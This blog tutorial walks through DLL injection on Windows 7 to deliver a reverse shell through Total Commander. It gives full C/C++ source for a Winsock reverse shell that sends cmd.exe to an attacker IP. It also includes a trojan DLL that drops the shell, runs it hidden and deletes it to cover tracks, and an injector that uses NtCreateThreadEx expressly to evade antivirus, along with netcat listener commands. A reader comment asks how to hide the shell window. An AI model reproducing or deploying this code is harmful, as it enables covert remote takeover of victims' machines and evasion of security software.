DLL Injection is a popular technique used by attackers to inject an executable in order to perform controlled code execution. Serveral methods for preventing this has been developed by OS creators, but w/o 100% success.
In this article I will present two methods of a successful attack to a windows 7 Ultimate OS that returns a reverse shell to the attacker. The first method uses the documented windows API function CreateRemoteThread and the second method uses the undocumented funNtCreateThreadEx. The reason that I prefer the 2nd method is because of the fact that the 1st method trigger an alarm of the windows security essentials antivirus while the 2nd does not!
In addition, a "home made" undetectable reverse shell (developed in c++) will be used in conjuction with a method of transferring or packing an executable inside another executable.
The final attack will be performed using two methods. The traditional (manual) method that I use only Netcat and the... "official" method that I use the well known Armitage of the Metasploit arsenal. Pictures of the attack will be available to you as well as a short video.
Before we start I would like to clarify that this is not a "How to invade" tutorial neither a method of how to install a Trojan to a victim's box. It is exactly what its title states: A method of calling a Reverse shell through DLL Injection using undocumented API in windows 7. Nothing more and nothing less. If you feel immature enough to get this method to harm others' computers then the blame is not mine but in your mind ;) This is for educational purposes only.
The Early Steps
In order to perform such attack we need first to decide which executable program we want to inject. In my example I will inject the Total Commander, the programmers favorite windows manager (and not only!). Injecting Total Commander means that when the user starts this program I will immediately get a shell in my PC (locally or remotely) with the same privileges as the injected program itself. To be specific, the method is like this:
The method
1. Check if 'Total Commander' is running.
2. If it is running inject it, and return a reverse shell to a specific IP while continue running Total Commander.
3. If 'Total Commander' is not running goto 1.
My approach will use three programs:
1. totalcmd.exe (Total Commander): is the program that will trigger the whole attack.
2. myDLL.DLL: Is the DLL that will be used as a trojan horse. It will 'carry' the reverse shell. One of its main responsibilities is when DLL_PROCESS_ATTACH occurs it will unpack the reverse shell to disk and execute it.
3. dllattack08.exe: Is the program that when executed it will remain on memory waiting to perform the above 3 steps of The Method.
Step 1: Creating the reverse shell.
I will present here my source code of my reverse shell.The code is the following:
1: /*
2: AJVrs.c
3: Reverse shell in win32
4: (c) by thiseas 2010
5: Compile with VS 2008 from command line with cl:
6: C:> cl AJVrs.c
7: ***************************************************************/
8: #include <winsock2.h>
9: #include <stdio.h>
10:
11: #pragma comment(lib, "Ws2_32.lib") //Inform the linker that the Ws2_32.lib file is needed.
12:
13: #define DEFAULT_PORT 1234
14: #define DEFAULT_IP "192.168.1.70"
15:
16: WSADATA wsaData;
17: SOCKET Winsocket;
18: STARTUPINFO theProcess;
19: PROCESS_INFORMATION info_proc;
20: struct sockaddr_in Winsocket_Structure;
21:
22: int main(int argc, char *argv[])
23: {
24: char *IP = DEFAULT_IP;
25: short port = DEFAULT_PORT;
26:
27: if (argc == 3){
28: strncpy(IP,argv[1],16);
29: port = atoi(argv[2]);
30: }
31:
32: WSAStartup(MAKEWORD(2,2), &wsaData);
33: Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL);
34: Winsocket_Structure.sin_port=htons(port);
35: Winsocket_Structure.sin_family=AF_INET;
36: Winsocket_Structure.sin_addr.s_addr=inet_addr(IP);
37:
38: if(Winsocket==INVALID_SOCKET)
39: {
40: WSACleanup();
41: return 1;
42: }
43:
44: if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR)
45: {
46: WSACleanup();
47: return 1;
48: }
49:
50: // Starting shell by creating a new process with i/o redirection.
51: memset(&theProcess,0,sizeof(theProcess));
52: theProcess.cb=sizeof(theProcess);
53: theProcess.dwFlags=STARTF_USESTDHANDLES;
54:
55: // here we make the redirection
56: theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket;
57:
58: // fork the new process.
59: if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0)
60: {
61: WSACleanup();
62: return 1;
63: }
64:
65: return 0;
66: }
As you can see the code is self explanatory and I am not going into details on it because this is not a programming tutorial.
The above program can be used as is, instead of netcat or in conjuction with it.
Usage:
On attacker box run Necat to listen for a connection:
on fedora : nc -l 1234
on other linux dist : nc -v -l -p 1234
on win box : nc -v -l -p 1234
On victim's box, run my reverse shell:
c:> AJVrs.exe <attackerIP> 1234
Step 2: Store the executable code of the reverse shell inside a program.
We will keep the executable code inside the DLL (that we are going to use later) in order to be executed when it is needed (I will explain how later). We are actually get the byte code of the shell and put it inside to another program. The problem here is how to get the byte code and put it to another program source. There many methods to do this. I test one that i thouhgt it will worked (and it does worked!). I am almost sure that this method has been used by other ppl, but I did not bother to search for this. The goal is to store the whole executable inside a byte array and then write this byte array to disk. The new file that will be created will be a normal PE executable!I open my reverse shell executable AJVrs.exe using my favorite ultraEdit editor (which is hex editor too). Select all, Right Click and choose Hex Copy Selected View.
Then, Right Click and Copy. Paste the select code in a new file. Turn to Column Selection (Alt+C) and select all the byte code. Then Right Click and Copy.
I put the selected bytes to a new file and I change them as the following example:
from
...
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
...
to
...
\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00
...
The above task can be easy if we replace every space " " with "\x". But again we will loose the 1st characters on each line. So it is wise if first we move all the text one position on the right:
Example
from:
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
to:
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
Just to make one space...
But again, I am not finished. I must put every line in double quotes:
Using the column mode (Alt+C) I can easily enclose each line with " in order to meet my final goal which is:
"\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00"
"\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00"
"\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68"
....
Ok... that's it. I save this file to disk using the name MyTempByteCode.txt
Step 3: Creating the DLL.
Its time to create my DLL now. It is the DLL that will be used as a trojan horse. It will carry the reverse shell inside it. One of its main responsibilities is when DLL_PROCESS_ATTACH occurs it will unpack the reverse shell to disk and execute it.I created using C++ in Microsoft Visual Studio 2008. The source code is:
1: #include<stdio.h>
2: #include <windows.h>
3: // In recerseshell I just put contents of the file MyTempByteCode.txt
4: char recerseshell[] =
5: "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00"
6: "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
7: "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
8: "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00"
9: "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68"
10: "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F"
11: ...
12: ...
13: "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
14: "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
15: "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
16: "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
17: "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
18: BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)
19: {
20: switch(dwReason)
21: {
22: case DLL_PROCESS_ATTACH:
23: int i, len = sizeof(recerseshell);
24: FILE *ptr ;
25: ptr = fopen("\\DLLInjection\\DirtyShell.exe", "wb");
26: for (i=0; i<len; i++)
27: fprintf(ptr, "%c",recerseshell[i]);
28:
29: fclose(ptr);
30: Sleep(1000);
31: WinExec("\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666", SW_HIDE);
32: Sleep(1000);
33: WinExec("cmd /c ""del \\DLLInjection\\DirtyShell.exe"" ", SW_HIDE);
34: }
35: }
Again the source code is self explanatory: When the dll attach process is met, I write the reverse byte code to a file, I execute it (in order to open the reverse shell) and I delete it from the disk in order to hide my tracks.
Step 4: Performing the injection.
Now I need a program to handle or better to trigger the above dll. This is my 3nd program dllattack08.exe: It is the program that will perform the actual injection to 'Total Commander' using two methods (as I promised). The documented API and the undocumented API (the stealth one!).I create the program using C++ VS 2008 (again). The source code is the following:
1: #include <windows.h>
2: #include <TlHelp32.h>
3: #include <shlwapi.h> // Add Lib: Shlwapi.lib
4: #include <stdio.h>
5: typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx)
6: (
7: OUT PHANDLE hThread,
8: IN ACCESS_MASK DesiredAccess,
9: IN LPVOID ObjectAttributes,
10: IN HANDLE ProcessHandle,
11: IN LPTHREAD_START_ROUTINE lpStartAddress,
12: IN LPVOID lpParameter,
13: IN BOOL CreateSuspended,
14: IN ULONG StackZeroBits,
15: IN ULONG SizeOfStackCommit,
16: IN ULONG SizeOfStackReserve,
17: OUT LPVOID lpBytesBuffer
18: );
19:
20: //Buffer argument passed to NtCreateThreadEx function
21: struct NtCreateThreadExBuffer
22: {
23: ULONG Size;
24: ULONG Unknown1;
25: ULONG Unknown2;
26: PULONG Unknown3;
27: ULONG Unknown4;
28: ULONG Unknown5;
29: ULONG Unknown6;
30: PULONG Unknown7;
31: ULONG Unknown8;
32: };
33:
34: HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD *ProcessID)
35: {
36: PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ;
37: HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
38: if(Process32First(hSnapshot, &Pc)){
39: do{
40: if(StrStrI(Pc.szExeFile, szExeName)) {
41: *ProcessID = Pc.th32ProcessID;
42: return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID);
43: }
44: }while(Process32Next(hSnapshot, &Pc));
45: }
46: return NULL;
47: }
48: BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath)
49: {
50: Sleep(2000);
51: HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL
52: if(hmKernel == NULL || hProcess == NULL)
53: return FALSE;
54: int nPathLen = strlen(lpszDllPath); //MAX_PATH; //
55: LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);
56: if (lpvMem == NULL)
57: return FALSE;
58:
59: if (!WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL))
60: return FALSE;
61: DWORD dwWaitResult= 0, dwExitResult = 0;
62: HANDLE hThread = CreateRemoteThread(hProcess,
63: NULL,
64: 0,
65: (LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"),
66: lpvMem,
67: 0,
68: NULL);
69: if(hThread != NULL){
70: dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.
71: GetExitCodeThread(hThread, &dwExitResult);
72: CloseHandle(hThread);
73: VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);
74: return (1);
75: }
76: else{
77: return (0);
78: }
79: }
80:
81: BOOL DllInject_2(HANDLE hProcess, LPSTR lpszDllPath)
82: {
83: Sleep(2000);
84: HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL
85: if(hmKernel == NULL || hProcess == NULL) return FALSE;
86: int nPathLen = strlen(lpszDllPath); //MAX_PATH; //
87: LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);
88: WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL);
89: DWORD dwWaitResult, dwExitResult = 0;
90: HMODULE modNtDll = GetModuleHandle(L"ntdll.dll");
91: if( !modNtDll )
92: {
93: //printf("\n failed to get module handle for ntdll.dll, Error=0x%.8x", GetLastError());
94: return 0;
95: }
96: LPFUN_NtCreateThreadEx funNtCreateThreadEx =
97: (LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, "NtCreateThreadEx");
98: if( !funNtCreateThreadEx )
99: {
100: //printf("\n failed to get funtion address from ntdll.dll, Error=0x%.8x", GetLastError());
101: return 0;
102: }
103: NtCreateThreadExBuffer ntbuffer;
104: memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer));
105: DWORD temp1 = 0;
106: DWORD temp2 = 0;
107: ntbuffer.Size = sizeof(NtCreateThreadExBuffer);
108: ntbuffer.Unknown1 = 0x10003;
109: ntbuffer.Unknown2 = 0x8;
110: ntbuffer.Unknown3 = 0;//&temp2;
111: ntbuffer.Unknown4 = 0;
112: ntbuffer.Unknown5 = 0x10004;
113: ntbuffer.Unknown6 = 4;
114: ntbuffer.Unknown7 = &temp1;
115: ntbuffer.Unknown8 = 0;
116: HANDLE hThread;
117: NTSTATUS status = funNtCreateThreadEx(
118: &hThread,
119: 0x1FFFFF,
120: NULL,
121: hProcess,
122: (LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"),
123: lpvMem,
124: FALSE, //start instantly
125: NULL,
126: NULL,
127: NULL,
128: &ntbuffer
129: );
130: if(hThread != NULL){
131: // keep the dll injection action for 10 seconds before free.
132: dwWaitResult = WaitForSingleObject(hThread, 10000);
133: GetExitCodeThread(hThread, &dwExitResult);
134: CloseHandle(hThread);
135: VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);
136: return (1);
137: }
138: else{
139: return (0);
140: }
141: }
142: int ActivateSeDebugPrivilege(void){
143: HANDLE hToken;
144: LUID Val;
145: TOKEN_PRIVILEGES tp;
146: if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
147: return(GetLastError());
148: if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val))
149: return(GetLastError());
150: tp.PrivilegeCount = 1;
151: tp.Privileges[0].Luid = Val;
152: tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
153: if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL))
154: return(GetLastError());
155: CloseHandle(hToken);
156: return 1;
157: }
158: int main(int argc, char *argv[])
159: {
160: DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID;
161: LPCWSTR lpVictimProcess = TEXT("totalcmd.exe");
162: char *cpVictimProcess = "totalcmd.exe";
163: printf("DLL Injection.\n");
164: if ( ActivateSeDebugPrivilege() == 1)
165: printf("Get All Privilege.\n");
166: else
167: printf("Cannot Get All Privilege.\n");
168:
169: printf("Waiting for process %s...",cpVictimProcess);
170: HANDLE hProcess;
171: do{
172: hProcess = GetProcessHandle(lpVictimProcess, &RemoteProcessID);
173: Sleep(1);
174: }while(hProcess == NULL);
175: printf("\nFound! Try to inject...");
176: // Get the session ID of the remote process.
177: //DWORD RemoteSessionID = ProcessIdToSessionId( hProcess );
178:
179: if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID ))
180: {
181: printf("\nFailed to get the current session with error %d", GetLastError());
182: }
183: if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID ))
184: {
185: printf("\nFailed to get the remote session with error %d", GetLastError());
186: }
187: if (DllInject(hProcess, "\\DLLInjection\\myDLL.dll"))
188: printf("\nSUCCESSFUL!\n");
189: else
190: printf("\nFailed!\n");
191: return 0;
192: }
193:
I suppose that some things need clarification here:
The function that perform the actuall DLL injection using the documented API CreateRemoteThread is:
DllInject(hProcess, "\\DLLInjection\\myDLL.dll")
The function takes 2 arguments: The process handle of the program that is going to be injected and the actual DLL flename that will be attached to the injected executable. As you can see this is "open" enough to accept anything you like... ;)
Another interesting topic is the use of the SeDebugPrivilege function as an effort to obtain as many priviledges as possible. Microsoft states that:
"By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do." ( http://support.microsoft.com/kb/185215 )
This is interesting indeed, huh? ;)
To be honest, I suppose that the above is not 100% true for windows 7, but you never know. It was worth a try... anyway.
An important drawback of this method is that it triggers the Microsoft Security Essentials Antivirus. I found that the cause of the alarm is the use of the API CreateRemoteThread inside the DllInject function. So, I replace this function with a new but... undocumented one! To explain how we find and analyse undocumented Windows API functions is another (indeed challenging) story that I 'll explain in another article. The documented API is impleneted in the DllInject_2 function. The only change to the code in order to call this API is to replace the 7th line from the bottom of the above source code:
from
if (DllInject(hProcess, "\\DLLInjection\\myDLL.dll"))
to
if (DllInject_2(hProcess, "\\DLLInjection\\myDLL.dll"))
and that’s it. You become stealth!
Attack using the manual way
Below is an example of the attack using the manual (traditional) way:Metasploit [http://www.metasploit.com/] is a professional tool for pen testers and not only. Armitage [http://www.fastandeasyhacking.com/] is a front-end (i can say) for metasploit. This tool can be use to perform the same attack. It can be used as client to listen to the port 6666 in order get my reverse shell. Take a look here:
and
One of the interesting thing here is that any reverse shell can be used. You can (for example) create an encrypted one using metasploit, get its binary code, put it in my DLL and perform the attack. The method and the code is open enough to support such techniques.
Sample Videos of the attack
[1]. Case I: Total Commander is already open
[2]. Case II: Total Commander is opened after the injection
Thanks Andreas, what a great program so simple and effective just one problem i've succeed compile AJVrs.c to AJVrs.exe
ReplyDeletewhen i try to execute the window of AJVrs.exe is appear how can i make this program hide the window and run on the background process